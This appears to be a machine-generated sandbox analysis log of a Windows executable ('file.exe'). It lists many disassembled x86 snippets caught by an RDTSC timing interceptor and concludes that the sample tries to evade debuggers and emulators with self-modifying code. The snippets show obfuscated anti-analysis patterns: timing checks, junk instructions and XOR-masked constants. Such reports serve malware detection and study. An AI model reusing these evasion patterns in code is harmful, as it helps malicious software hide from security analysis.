Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0855 second address: 52A0897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF398EAF4D2h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FF398EAF4D0h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 call 00007FF398EAF4CDh 0x0000001e pop eax 0x0000001f push edi 0x00000020 pop ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0897 second address: 52A08B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF399017D89h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A08B4 second address: 52A08B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A08B8 second address: 52A08E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007FF399017D7Ah 0x0000000e mov dword ptr [esp], ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF399017D87h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A096C second address: 52A0970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0970 second address: 52A098A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A098A second address: 52B0A9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b jmp 00007FF398EAF4C2h 0x0000000d and bl, 00000001h 0x00000010 movzx eax, bl 0x00000013 lea esp, dword ptr [ebp-0Ch] 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 pop ebp 0x0000001a ret 0x0000001b add esp, 04h 0x0000001e mov eax, dword ptr [003C60A4h+ebx*4] 0x00000025 mov ecx, 04B3412Ah 0x0000002a xor ecx, dword ptr [003C60ACh] 0x00000030 add eax, ecx 0x00000032 inc eax 0x00000033 jmp eax 0x00000035 push esi 0x00000036 call 00007FF398ED5698h 0x0000003b push ebp 0x0000003c push ebx 0x0000003d push edi 0x0000003e push esi 0x0000003f sub esp, 00000284h 0x00000045 mov esi, dword ptr [esp+00000298h] 0x0000004c mov dword ptr [esp+00000268h], 003C8100h 0x00000057 mov dword ptr [esp+00000264h], 0000009Dh 0x00000062 mov dword ptr [esp], 00000000h 0x00000069 mov eax, dword ptr [003C3D58h] 0x0000006e call eax 0x00000070 mov edi, edi 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007FF398EAF4CDh 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0A9A second address: 52B0AE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF399017D87h 0x00000009 add eax, 6882BFEEh 0x0000000f jmp 00007FF399017D89h 0x00000014 popfd 0x00000015 mov dx, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0AE2 second address: 52B0AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0AE6 second address: 52B0AF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0AF5 second address: 52B0AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0AFB second address: 52B0B3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF399017D81h 0x00000015 sub esi, 79359836h 0x0000001b jmp 00007FF399017D81h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0C41 second address: 52B0C47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0C47 second address: 52B0C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0C4B second address: 52B0C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-1Ch], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF398EAF4D4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0CFC second address: 52B0D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0D02 second address: 52B0D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C094A second address: 52C096F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, cx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C096F second address: 52C099B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FF398EAF4CBh 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov ebx, ecx 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF398EAF4CFh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C099B second address: 52C09A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C09A1 second address: 52C09E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 24068611h 0x00000008 mov al, 72h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esp 0x0000000e jmp 00007FF398EAF4D6h 0x00000013 mov dword ptr [esp], esi 0x00000016 jmp 00007FF398EAF4D0h 0x0000001b mov esi, dword ptr [ebp+0Ch] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C09E0 second address: 52C0A36 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF399017D88h 0x00000008 add cx, E228h 0x0000000d jmp 00007FF399017D7Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007FF399017D86h 0x0000001d and ch, FFFFFF88h 0x00000020 jmp 00007FF399017D7Bh 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0A36 second address: 52C0A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 test esi, esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0A42 second address: 52C0A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0A4A second address: 52C0A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0A50 second address: 52C0A84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FF4097E56D5h 0x0000000e jmp 00007FF399017D87h 0x00000013 cmp dword ptr [75AF459Ch], 05h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov cl, bh 0x0000001f mov ebx, eax 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B08 second address: 52C0B35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF398EAF4CDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B35 second address: 52C0B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B3B second address: 52C0B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B3F second address: 52C0B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF399017D80h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B5C second address: 52C0B62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B62 second address: 52C0B73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF399017D7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B73 second address: 52C0B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0B77 second address: 52C0B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF399017D88h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0BCD second address: 52C0BD8 instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 movzx eax, bx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FE46E second address: 65FE478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FF399017D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FE478 second address: 65FDD31 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF398EAF4D2h 0x0000000e nop 0x0000000f clc 0x00000010 push dword ptr [ebp+122D0B79h] 0x00000016 mov dword ptr [ebp+122D2B5Bh], ebx 0x0000001c call dword ptr [ebp+122D3242h] 0x00000022 pushad 0x00000023 mov dword ptr [ebp+122D1DE0h], ebx 0x00000029 jmp 00007FF398EAF4D7h 0x0000002e xor eax, eax 0x00000030 pushad 0x00000031 jmp 00007FF398EAF4D1h 0x00000036 add eax, dword ptr [ebp+122D3B7Eh] 0x0000003c popad 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 pushad 0x00000042 jg 00007FF398EAF4CCh 0x00000048 mov dword ptr [ebp+122D3237h], edx 0x0000004e mov dword ptr [ebp+122D2CAEh], edx 0x00000054 popad 0x00000055 mov dword ptr [ebp+122D3AE2h], eax 0x0000005b jno 00007FF398EAF4D2h 0x00000061 mov esi, 0000003Ch 0x00000066 jmp 00007FF398EAF4D2h 0x0000006b or dword ptr [ebp+122D1DE0h], edx 0x00000071 add esi, dword ptr [esp+24h] 0x00000075 mov dword ptr [ebp+122D1DE0h], eax 0x0000007b lodsw 0x0000007d mov dword ptr [ebp+122D2B6Ah], edi 0x00000083 add eax, dword ptr [esp+24h] 0x00000087 jne 00007FF398EAF4D8h 0x0000008d mov ebx, dword ptr [esp+24h] 0x00000091 stc 0x00000092 nop 0x00000093 push eax 0x00000094 push edx 0x00000095 pushad 0x00000096 push eax 0x00000097 push edx 0x00000098 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FDD31 second address: 65FDD38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FDD38 second address: 65FDD4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 js 00007FF398EAF4C6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FDD4A second address: 65FDD4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FDD4E second address: 65FDD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF398EAF4CDh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6764261 second address: 6764269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6764269 second address: 676426F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67785A8 second address: 67785AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67785AE second address: 67785EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FF398EAF4CFh 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 jl 00007FF398EAF4C6h 0x0000001c push edi 0x0000001d pop edi 0x0000001e jmp 00007FF398EAF4D7h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67785EF second address: 67785F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6778C61 second address: 6778C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6778C65 second address: 6778C8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D80h 0x00000007 jmp 00007FF399017D83h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6778C8C second address: 6778C91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6778C91 second address: 6778CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FF399017D76h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677BC23 second address: 677BC35 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FF398EAF4C8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677BC35 second address: 677BC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677BC3B second address: 677BC3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677BC3F second address: 677BC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FF399017D7Bh 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 jmp 00007FF399017D7Dh 0x0000001c popad 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 jne 00007FF399017D7Eh 0x00000028 push ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677BD5A second address: 677BD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677BD61 second address: 677BDAD instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF399017D7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FF399017D7Ah 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push ecx 0x00000015 je 00007FF399017D8Bh 0x0000001b jmp 00007FF399017D85h 0x00000020 pop ecx 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 jo 00007FF399017D7Ch 0x0000002b jnp 00007FF399017D76h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677BDAD second address: 677BDB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677BDB3 second address: 677BDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677BDB7 second address: 677BDBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677BDBB second address: 677BE6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d push esi 0x0000000e jmp 00007FF399017D7Fh 0x00000013 pop esi 0x00000014 jmp 00007FF399017D7Ah 0x00000019 popad 0x0000001a pop eax 0x0000001b mov edx, dword ptr [ebp+122D2B33h] 0x00000021 push 00000003h 0x00000023 push edi 0x00000024 mov dword ptr [ebp+122D2FCAh], eax 0x0000002a pop edi 0x0000002b push 00000000h 0x0000002d jmp 00007FF399017D88h 0x00000032 push 00000003h 0x00000034 jng 00007FF399017D8Ah 0x0000003a call 00007FF399017D7Eh 0x0000003f mov esi, 3D2985F5h 0x00000044 pop esi 0x00000045 push BDC38371h 0x0000004a jmp 00007FF399017D7Fh 0x0000004f xor dword ptr [esp], 7DC38371h 0x00000056 mov dword ptr [ebp+122D2ABAh], edx 0x0000005c mov dword ptr [ebp+122D324Bh], eax 0x00000062 lea ebx, dword ptr [ebp+12451B8Fh] 0x00000068 push ecx 0x00000069 mov dword ptr [ebp+122D1DDCh], ecx 0x0000006f pop edx 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007FF399017D7Ch 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677C04C second address: 677C0E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c and cx, BB5Fh 0x00000011 push 00000000h 0x00000013 mov dl, bh 0x00000015 push 2CBB6D79h 0x0000001a jnl 00007FF398EAF4DDh 0x00000020 xor dword ptr [esp], 2CBB6DF9h 0x00000027 push 00000003h 0x00000029 push esi 0x0000002a mov dl, cl 0x0000002c pop edx 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007FF398EAF4C8h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 mov dh, 2Ch 0x0000004b push 00000003h 0x0000004d mov dx, 6AB8h 0x00000051 push 680620F1h 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FF398EAF4D7h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675BB98 second address: 675BB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675BB9E second address: 675BBC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FF398EAF4D9h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675BBC6 second address: 675BBCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A175 second address: 679A18B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007FF398EAF4C6h 0x0000000d pushad 0x0000000e popad 0x0000000f js 00007FF398EAF4C6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A2EC second address: 679A2FC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF399017D82h 0x00000008 jne 00007FF399017D76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A2FC second address: 679A320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF398EAF4D5h 0x0000000e je 00007FF398EAF4C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A320 second address: 679A324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A324 second address: 679A330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A330 second address: 679A346 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D82h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A346 second address: 679A356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FF398EAF4C6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A356 second address: 679A35C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A640 second address: 679A644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A644 second address: 679A65C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FF399017D7Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A65C second address: 679A663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679A663 second address: 679A6A3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF399017D7Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FF399017D83h 0x00000014 pop eax 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jmp 00007FF399017D87h 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

